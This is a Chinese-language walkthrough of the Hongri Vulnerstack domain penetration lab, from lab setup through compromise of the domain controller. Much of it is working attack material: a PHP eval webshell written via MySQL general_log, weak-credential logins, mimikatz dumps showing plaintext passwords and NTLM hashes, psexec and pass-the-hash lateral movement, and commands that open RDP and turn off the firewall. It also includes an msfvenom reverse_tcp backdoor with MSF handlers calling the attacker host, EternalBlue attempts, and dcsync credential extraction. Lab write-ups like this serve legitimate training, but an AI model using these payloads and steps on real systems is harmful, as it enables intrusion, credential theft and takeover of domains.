一、靶场搭建
靶场下载链接: https://pan.baidu.com/s/1LF48du6PnvCH6NiZO5Yqxw 提取码: 331i
虚拟机统一密码:hongrisec@2019 (win2008主机/win7会提示密码已过期,按照提示修改即可,win2008我改成了hongrisec@2025,win7后面我改成了sxksec@2025)。
1.1 网络拓扑图
本靶场是一个二层网络,DMZ区+内网。
1.2 网卡和网络配置
接下来需要在本地通过vmware把三台机器的网络连通。之前搭建过[WHOAMI靶场][https://sxksec.cn/2024/12/30/zong-he-shen-tou/san-ceng-wang-luo-yu-shen-tou-ba-chang-shi-zhan/](是红日系列靶场的第七个),这里我借助以往的经验进行设置:
1)VM1-web服务器-win7:
网卡1:设置为桥接模式-172.20.10.2/32,能访问互联网。
网卡2:仅主机模式-vmnet14-192.168.93.3/24网段 (需要关机添加一块网卡)
2)攻击机kali:
设置为桥接模式,这样跟VM1同处于一个网段-172.20.10.4/32
3)VM2-域成员-win2003:
仅主机模式-vmnet14-192.168.93.10 /24网段
4)VM3-域控-win2008:
仅主机模式-vmnet14-192.168.93.2/24网段
注意:如果切换网卡模式之后ip不能及时获取更新,可以检查一下是否开启了的DHCP服务,或者也可以手动配置一下IP。
1.3 网络连通性
- 域内主机win2003和win2008互相可以互相ping通。
- DMZ主机win7可以ping通win2003,但是win2003ping 不通DMZ区的win7,可能是因为防火墙的原因不过也正常,关一下先。
- DMZ主机win7可以和win2008互相ping通。
- win7可以ping通互联网
- 攻击机可以和win7互相ping通。
这里有三种网络位置的防火墙。关闭公用网络的防火墙,kali、win2008和win2003就都可以ping通win7了。
这三种网络位置的防火墙分别有什么作用?
这三种网络位置类型(域网络位置、家庭或工作网络位置、公用网络位置)在Windows防火墙中具有不同的安全配置和作用,以适应不同的网络环境和安全需求:
- 域网络位置(Domain Network):
- 通常用于连接到工作环境中的域控制器。
- 在这种网络环境中,设备通常处于一个受信任的网络中,由组织的IT部门管理。
- 防火墙设置可能相对宽松,因为网络中的其他设备和用户被认为是可信的。
- 可能允许更多的内部通信和资源共享。
- 家庭或工作(专用)网络位置(Private Network):
- 用于家庭、小型办公室或企业内部网络,这些网络被认为是私人和受信任的。
- 防火墙会提供一定程度的保护,但可能会允许更多的应用程序和服务通过,以便于家庭或工作网络中的设备可以相互通信。
- 用户通常需要手动设置哪些应用程序可以接收传入连接,但默认情况下可能会允许一些常见的家庭或工作网络应用程序。
- 公用网络位置(Public Network):
- 用于咖啡店、机场、酒店等公共场所的网络,这些网络被认为是不安全的。
- 防火墙设置通常更为严格,以防止潜在的网络攻击和未经授权的访问。
- 默认情况下,可能会阻止所有传入连接,除非用户明确允许特定应用程序通过防火墙。
- 建议在这种网络环境下不要进行敏感操作,如网上银行或访问公司资源。
在Windows防火墙中,用户可以根据当前所处的网络环境选择相应的网络位置,以获得适当的安全保护。例如,在公共网络环境下,用户应该选择“公用网络位置”,以确保防火墙提供最大程度的保护。在家庭或工作网络环境下,用户可以选择“家庭或工作(专用)网络位置”,以便于网络中的设备可以方便地进行通信。而在连接到公司的域网络时,用户应该选择“域网络位置”,以符合公司的安全策略和要求。
所以,从防护强度来讲,公用网络防护墙>家庭或工作网络>域网络,在关闭防火墙的时候可以按照这个顺序关闭,不需要一股脑全都关闭,有时候可能关掉公用网络的防火墙就可以了。
1.4 配置DMZ区的web服务
在 DMZ区服务器Win7主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点):
开启之后,我们在物理机(我的是mac)访问一下win7,可以正常访问到PHP探针,说明web服务器部署成功。
域用户win2003也可以访问到PHP探针。
至此,靶场基本搭建完毕。
二、边界突破
2.1 端口扫描
DMZ区web服务器的ip为172.20.10.2,首先对它进行端口发现。
nmap 172.20.10.2 -sV -sC -Pn -p-
┌──(root💀kali)-[~]
└─# nmap 172.20.10.2 -sV -sC -Pn -p-
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2025-02-13 22:38 EST
Nmap scan report for 172.20.10.2
Host is up (0.0020s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1036/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:82:51:0C (VMware)
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:82:51:0c (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-14T03:39:57
|_ start_date: 2025-02-13T10:10:59
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.01 seconds
可以看到开着的端口还是蛮多的:
80、135、139、445、1025-1029、1036、3306
其中80-web端口和3306-mysql端口可以首先重点关注。
2.2 80端口(phpstudy)渗透尝试
2.2.1 信息初步分析
nmap的扫描结果显示80端口的服务组件有:Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)。apache和php的版本都比较低。
\xE6\x8E\xA2\xE9\x92\x88 解码
yakit解码:
kimi解码:不正确。
web title是phpStudy探针2014
,下面的访问测试也印证了nmap扫描的结果。
php探针暴露出了一些敏感信息,包括:
- 服务器参数信息:
服务器操作系统版本是win7、主机名STU1、管理员邮箱是admin@phpStudy.net
,绝对路径是C:/phpStudy/WWW
。
- PHP相关参数:
打开远程文件(allow_url_fopen)打开:可以进行远程文件包含。
允许的函数:
assert等高危函数可以用来代码执行。
- MySQL数据库连接检测
尝试mysql的默认用户名和密码:root/root
居然能连接到数据库。数据库弱口令实锤了。
- 函数检测
经过初步信息分析已经发现了mysql弱口令登录的问题和一些其他辅助信息。
2.2.2 目录扫描
- dirsearch
(python3.9) ~/dirsearch> python dirsearch.py -u http://172.20.10.2/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://172.20.10.2/
[14:20:06] Scanning:
[14:20:18] 403 - 225B - /index.php::$DATA
[14:20:19] 200 - 14KB - /l.php
[14:20:21] 301 - 238B - /phpmyadmin -> http://172.20.10.2/phpmyadmin/
[14:20:21] 301 - 238B - /phpMyAdmin -> http://172.20.10.2/phpMyAdmin/
[14:20:21] 200 - 71KB - /phpinfo.php
[14:20:21] 200 - 32KB - /phpmyadmin/ChangeLog
[14:20:21] 200 - 2KB - /phpmyadmin/README
[14:20:22] 200 - 4KB - /phpmyadmin/
[14:20:22] 200 - 4KB - /phpmyadmin/index.php
[14:20:22] 200 - 4KB - /phpMyAdmin/index.php
[14:20:22] 200 - 4KB - /phpMyAdmin/
[14:20:22] 200 - 4KB - /phpmyAdmin/
[14:20:22] 200 - 4KB - /phpMyadmin/
[14:20:25] 403 - 225B - /Trace.axd::$DATA
[14:20:26] 403 - 226B - /web.config::$DATA
Task Completed
扫描到敏感目录:phpMyAdmin
root/root 弱口令直接登录:
- URLFinder
./URLFinder -u http://172.20.10.2/ -s all -m 3 -o res.html
__ __ ___ _ _
/\ /\ /__\ / / / __(_)_ __ __| | ___ _ __
/ / \ \/ \/// / / _\ | | '_ \ / _` |/ _ \ '__|
\ \_/ / _ \ /___ / | | | | | (_| | __/ |
\___/\/ \_\____\/ |_|_| |_|\__,_|\___|_|
By: pingc0y
Update: 2023.9.9 | 已是最新版本
Github: https://github.com/pingc0y/URLFinder
Target URL: http://172.20.10.2/
Start 111 Spider...
Spider OK
Start 118 Validate...
Validate OK
22JS + 83URL --> res.html
没有扫到phpmyadmin页面,这个工具更偏向于以深度爬虫形式进行页面信息的提取。
通过这一步,拿下了phpmyadmin
的后台管理页面。
2.2.3 phpmyadmin信息分析
2.2.3.1 数据库分析
拿下phpmyadmin之后,相当于已经拿下了web服务器的数据库,可以先分析一下数据库信息。
这里有一个newyxcms
的数据库,想到可能会对应某个站点(如果名字不在dirseach的字典中很难扫到)。
尝试访问:
http://172.20.10.2/newyxcms 【404】
http://172.20.10.2/yxcms 【成功看到下面的一个CMS系统】
可以在数据库中查看管理员的密码信息:
admin:168a73655bfecefdb15b14984dd2ad60
密码是一串哈希值,尝试到CMD5网站破解,但是要付费。。。
尝试admin 123456登录?
感觉这里可以尝试爆破一下,因为每次弹用户名和密码错误之后点击确定,回到登录页面,但是验证码没变还是能重复使用。
- 确定是否有读写文件的条件
可以借助show global variables like '%secure%';
命令来查看该参数。
secure file priv
的值为NULL,无法读写文件。可以编辑,将它设置为空,但是提示只读。
那么回头在仔细看一下页面(也是在互联网搜索YXcms漏洞
时找到的参考,没想到提示会这么明显。。。)
2.2.4 YXcms漏洞挖掘
2.2.4.1 YXcms后台登录
在首页的公告信息栏处有如下的信息:后台地址请在网址后面加上/index.php?r=admin进入,且账户名密码是admin/123456。
成功登录后台。
2.2.4.2 后台漏洞挖掘
- SQL执行功能
无法写入文件。
前台模版
管理功能
在前台模版
处,有一个管理模版文件
的功能。
尝试新建了一个yjh.php模版。
但是不知道如何使用,也不知道访问路径。
可以修改当前的模板文件,插入木马,查看index_index.php
文件,分析可能是当前用的首页模版,(如果实在确定不了是哪一个,可以全插一遍)。
再次访问的时候发现输出了12345678的内容,说明一句话木马也已经执行了。
如何找到新建的模板(木马)文件?
创建的木马模版:
![]()
字典不够强大,没扫出来 beifen.rar,在根目录下面有这么一个文件。
http://172.20.10.2/beifen.rar
![]()
![]()
搜索一下
index_index.php
,可以看到存储的模版路径:yxcms/protected/apps/default/view/default/yjh.php
![]()
getshell:
![]()
![]()
2.2.4 getshell
获取到的是god\administrator
权限。成功拿下DMZ去的web服务系统。
2.3 Mysql日志文件getshell
除了利用修改yxcms后台模版文件插入木马getshell之外,还可以利用Mysql日志文件getshell。
2.3.1 查看日志文件的设置
- 执行命令:
show variables like '%general%';
查看日志状态:
或者直接查看变量:
当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。
那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell。
2.3.2 打开general log
SET GLOBAL general_log='on'`
除了使用命令之外,也可以直接在UI界面编辑这个参数。
2.3.3 设置日志文件
SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'
2.3.4 将木马写入日志
SELECT '<?php eval($_POST["sxk"]);?>'
可以看到木马已经写入。
2.3.5 getshell
获得的是god域中的administrator权限。
三、内网信息收集
3.1 DMZ web服务器(win7)上线CS
关于CobaltStrike的具体用法,见本站《CobaltStrike》一文。
3.1.1 创建CS监听器
3.1.2 创建后门
3.1.3 投递后门并上线CS
通过蚁剑上传后门程序。
执行backdoor.exe后门程序。
成功上线CS。
3.2 失陷主机信息收集
3.2.1 mimikatz抓取哈希
beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 746578 bytes
[+] received output:
Authentication Id : 0 ; 959166 (00000000:000ea2be)
Session : Interactive from 1
User Name : Administrator
Domain : GOD
Logon Server : OWA
Logon Time : 2025/2/13 18:11:09
SID : S-1-5-21-2952760202-1353902439-2381784089-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87840ac10a764c7362
* NTLM : 8a963371a63944419ec1adf687bb1be5
* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2019
wdigest :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2019
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : hongrisec@2019
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/2/13 18:10:57
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : STU1$
Domain : GOD
Logon Server : (null)
Logon Time : 2025/2/13 18:10:56
SID : S-1-5-20
msv :
[00000003] Primary
* Username : STU1$
* Domain : GOD
* NTLM : 0ba7dcdc7f5bef947c985490b99228c1
* SHA1 : e5c0f994e94ef2ac378ddb8c784bfb33dda7927a
tspkg :
wdigest :
* Username : STU1$
* Domain : GOD
* Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03
kerberos :
* Username : stu1$
* Domain : god.org
* Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03
ssp :
credman :
Authentication Id : 0 ; 51748 (00000000:0000ca24)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/2/13 18:10:56
SID :
msv :
[00000003] Primary
* Username : STU1$
* Domain : GOD
* NTLM : 0ba7dcdc7f5bef947c985490b99228c1
* SHA1 : e5c0f994e94ef2ac378ddb8c784bfb33dda7927a
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : STU1$
Domain : GOD
Logon Server : (null)
Logon Time : 2025/2/13 18:10:56
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : STU1$
* Domain : GOD
* Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03
kerberos :
* Username : stu1$
* Domain : GOD.ORG
* Password : df ee 90 18 9c 48 2d 8a e9 98 49 06 01 ca d4 7f 79 c8 19 1f ab e2 63 50 2f 54 c9 08 09 3f f0 49 82 94 6c b1 86 bb 44 57 7c 39 76 46 03 78 c3 e1 a5 74 02 f8 9c 81 b2 5a 12 e5 01 b1 53 18 ed 2c 6d 0f 71 dd 7c 7c 00 8a e7 51 56 5c 3a 11 3a 18 b2 f8 58 b4 08 0d 20 ca b8 00 72 27 be 71 d6 42 9d fb 13 d0 f8 fb f4 5a af 45 af 87 d7 20 cc 4e 68 c9 f9 67 c0 a9 7d 75 66 88 0c 8c 05 c5 88 1a bd a9 79 5b 63 cd a7 3d 19 9b 4d 93 ce 61 b9 68 39 9b 8b bd 53 2e 28 6b 5b 55 21 ee 2e 61 59 b5 4c 77 49 0e eb cc 92 31 94 5f 3a 0d d5 61 8f 1f 38 75 0e 70 bd fc 99 94 a3 80 95 49 b0 b0 84 e5 c6 0a 60 d7 52 ac 25 52 2a 62 f8 e3 8b 2a 72 b2 53 8d eb f0 ce e6 cf 0d 7a 4b 3b 03 4d 6e 74 bb d1 8d 71 32 31 1c 4f 9e b6 f4 85 d8 0d 4b b6 03
ssp :
credman :
可以看到关键的用户名/密码信息:
msv :
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d87840ac10a764c7362
* NTLM : 8a963371a63944419ec1adf687bb1be5
* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf
tspkg :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2019
wdigest :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2019
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : hongrisec@2019
这段内容展示了不同认证协议(如 MSV、TSPKG、WDigest 和 Kerberos)下同一个管理员账户的凭证信息。其中,
msv
部分包含了哈希值,而tspkg
、wdigest
和kerberos
部分直接显示了明文密码。
3.3 内网信息收集
3.3.1 域用户信息收集
CS执行net view:
可以看到当前域GOD中有三台主机,已经拿下的172.20.10.2,192.168网段下的192.168.93.2和192.168.93.10。
net view命令
net view
命令是 Windows 系统中的一个网络管理命令,用于查看网络中的计算机、共享资源等信息。以下是其具体用法和功能:1)基本语法
NET VIEW [\\computername [/CACHE] | [/ALL] | /DOMAIN[:domainname]]
2)常见用法示例
查看当前域中的所有计算机:
net view
查看指定计算机的共享资源:
net view \\computername
查看指定计算机的所有共享资源(包括隐藏共享):
net view \\computername /ALL
查看指定域中的所有计算机:
net view /DOMAIN:domainname
点击瞄准镜
选项卡可以看到域环境中的目标。
四、通过抓取密码+psexec拿下域控
4.1 psexec登录
4.4.1 创建监听器
- 创建一个
windows_smb/bind_pipe
监听器
4.4.2 psexec登录
然后右键选择登录模块->psexec功能:
选择口令密码、选择刚创建的监听器、选择会话,然后点击开始。
等待,但是连接建立失败了。
如果像上图所示连接失败。
那么可以尝试其他令牌:
点击开始之后等待连接建立。
还是没办法成功登录。
再试一下192.168.93.2这台主机:
登录失败。
更改登录凭证:
成功建立到内网主机192.168.93.2的beacon连接。
4.2 拿下域控
通过文件管理可以查看目标系统的文件。
可以看到C:\windows
下有域控存储文件夹NTDS和核心数据文件htds.dit。
成功拿下域控。
在becon中查看获取到的权限:
搭建靶场时,将win2008(域控)的密码修改为了hongrisec@2025,但是在web服务器上使用mimikatz抓取hash时拿到了NTLM哈希值,psexec登录时指定哈希令牌就可以登录域控。
有没有其他方法拿下域空呢?后门分解。
五、域内信息收集
下面是一些常用的内网信息收集的命令。
ipconfig /all #查看主DNS后缀,不为空通常是存在域环境的
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
5.1 探测是否存在域
5.1.1 ipconfig /all
ipconfig /all #查看主DNS后缀,不为空通常是存在域环境的
- antsword中执行查询命令
主DNS后缀为god.org
,则域环境为god.org。
- CS中执行查询命令
shell ipconfig /all
5.1.2 net config workstation
也可以执行命令net config workstation
来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息。
两个反斜杠(
\\
)在 Windows 网络环境中,计算机名前面的两个反斜杠(
\\
)是一个特殊的符号,用于表示网络路径或网络资源。具体来说,\\
表示的是一个网络共享资源的路径前缀。
- antsword中执行查询命令
工作站域:god.org
- CS中执行查询命令
通过计算机全名
、工作站域
、工作站域DNS名称
和登录域
等字段推断出存在域环境,且为GOD
。
5.1.3 net time /domain
net time /domain # 域服务器都会同时作为时间服务器,所以使用该命令来判断主域。
运行 net time /domain 该命令后,一般会有如下三种情况:
1.存在域,但当前用户不是域用户,提示说明权限不够
C:\Users>bypass>net time /domain 发生系统错误 5 拒绝访问。
2.存在域,并且当前用户是域用户
C:\Users\Administrator>net time /domain \dc.test.com 的当前时间是 2020/10/23 21:18:37 命令成功完成。
3.当前网络环境为工作组,不存在域
C:\Users\Administrator>net time /domain 找不到域 WORKGROUP 的域控制器。
通过时间回显可以发现,时间服务器是owa.god.org,其实能够从侧面印证域为GOD,域控的计算机名是OWA。
5.2 收集域信息
5.2.1 net view /domain
查看当前网络环境中有多少个域:
net view /domain #查看当前网络环境中有多少个域
net view /domain:domainname #查看某个域中的计算机有哪些
5.2.2 net group /domain
net group /domain #查看域内的用户组(在域控上执行)
在AntSword中执行没有结果。
靶场排错:
报错内容:
发生系统错误1355 指定的域不存在,或无法联系
.![]()
发现联系不到域控制器。
![]()
打开DMZ区的web服务器,配置192.168.93.0/24网段的网卡,配置DNS为域控ip。
![]()
配置完DNS之后重新执行命令,报
拒绝访问
的错误。![]()
![]()
但是当前用户已经是administrator权限了。
但是在CS的becon中是可以执行了。
![]()
![]()
net group /domain
在DC上执行之后,查询到当前域下的用户组。
5.2.3 net group "domain controllers" /domain
net group 组名 /domain # 查看域中某工作组
可以看到域控的主机名是OWA
。
5.2.4 net view
net view # 查看局域网内其他主机名
确认域控主机的名称为 OWA 再执行 net view
查看局域网内其他主机信息(主机名称、IP地址).
至此,我们知道了域名、域下的分组、域控和域内主机的基本信息。
域控:OWA 192.168.93.2
域内用户:ROOT-TVI862UBEH 192.168.93.10
六、RDP登录DMZ区的web服务器
当前已经获取到了DMZ区web服务器的system权限,那么开启3389,让我们远程登录应该不是难事。
Win7跳板机 默认是不开启3389的,这一点从我们前期的nmap扫描也能看到;同时还有防火墙,不过防火墙我们已经在靶场搭建环节关闭了。
6.1 注册表开启3389端口
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
#关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
由于之前防火墙关闭过了,所以先不做添加防火墙规则
和关闭防火墙
连个操作。
- 此外可以联动msf获取meterpreter shell,通过执行命令
run post/windows/manage/enable_rdp
即可开启靶机的远程桌面。
6.2 远程连接3389端口
我这里用微软提供的Windows App Beta
远程连接DMZ区的web服务器的3389端口:
过程中如果需要更改密码,那就按照提示修改一下sxksec@2025
。
成功通过RDP远程登录到win7中。
Windows App Beta下载链接:
点击继续。
七、内网渗透
7.1 CS联动MSF反弹meterpreter连接
7.1.1 MSF开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.20.10.4
set lport 7777
run
7.1.2 CS创建外部监听器
ip和端口就是msf监听的ip和端口,可以将这个CS的外部监听器理解为一个会话的容器,稍后派生的会话会附着在这个容器中,然后通过这个外部监听器将会话转接到MSF的的监听连接上。
7.1.3 派生会话
右键选择派生会话:
选择创建的外部监听器:
MSF获取到meterpreter shell:
7.2 msfvenom 创建后门反弹meterpreter连接
7.2.1 msfvenom
创建后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=7777 -f exe -o msfvenom.exe #kali里生成msf后门文件 shell.exe
7.2.2 执行木马反弹meterpreter
蚁剑上传到 win7上 并执行:
可以看到也可以成功获取到meterpreter的shell。
7.3 msf信息收集
7.3.1 检测是否为虚拟机或蜜罐
sessions -i id # 进入某个会话
run post/windows/gather/checkvm # 检测是否为虚拟机
从检查结果来看STU1这台主机为虚拟机。
7.3.2 列举目标主机上安装的应用
run post/windows/gather/enum_applications # 枚举目标主机上安装的应用
上图所示为目标主机上安装的应用。
7.4 添加路由
# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p
可以看到,通往内网192.168.93.0/24网段的网关是会session1,说明路由已经配置了。
7.5 内网端口扫描
7.5.1 扫描域成员主机端口
先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.93.10 开放的端口:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.10
set ports 80,135-139,445,3306,3389
run
可以看到135、445、139端口都是开着的。
7.5.2 扫描域控主机端口
可以看到域控开启的端口有80、139、135和445端口。
7.6 永恒之蓝(ms17-010)漏洞(利用失败)
对于开启445端口的主机,永恒之蓝漏洞是优先尝试的漏洞。
7.6.1 ms17-010漏洞检测
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.93.10
run
set rhosts 192.168.93.2
run
从检测结果可以看出,域控和域内主机均存在ms17-010漏洞的可能。
7.6.2 漏洞利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.93.10
set rhost 192.168.93.10
run
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp #内网环境,需要正向shell连接
set rhosts 192.168.93.2
set rhost 192.168.93.2
run
上述两种参数设置,均没有成功利用永恒之蓝漏洞。
7.7 哈希传递攻击(PTH)拿下域控
【哈希传递攻击】在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash 并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
7.7.1 CS哈希传递攻击
在4.2 节,我们通过CS的mimikatz工具拿到DMZ web服务器win7上的哈希,然后通过psexec拿下域控。其实这个过程就是PTH攻击的实现。
7.7.2 MSF哈希传递攻击
- 抓取哈希
进入meterpreter会话,尝试抓取hash
run windows/gather/smart_hashdump #抓取hash
但是提示需要systen权限。
- 提权
执行getsystem之后成功拿到SYSTEM权限。
- 重新抓取哈希
run windows/gather/smart_hashdump #抓取hash
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
但是这里的是用户密码哈希。
- 使用msf 的kiwi模块抓取哈希
load kiwi
creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
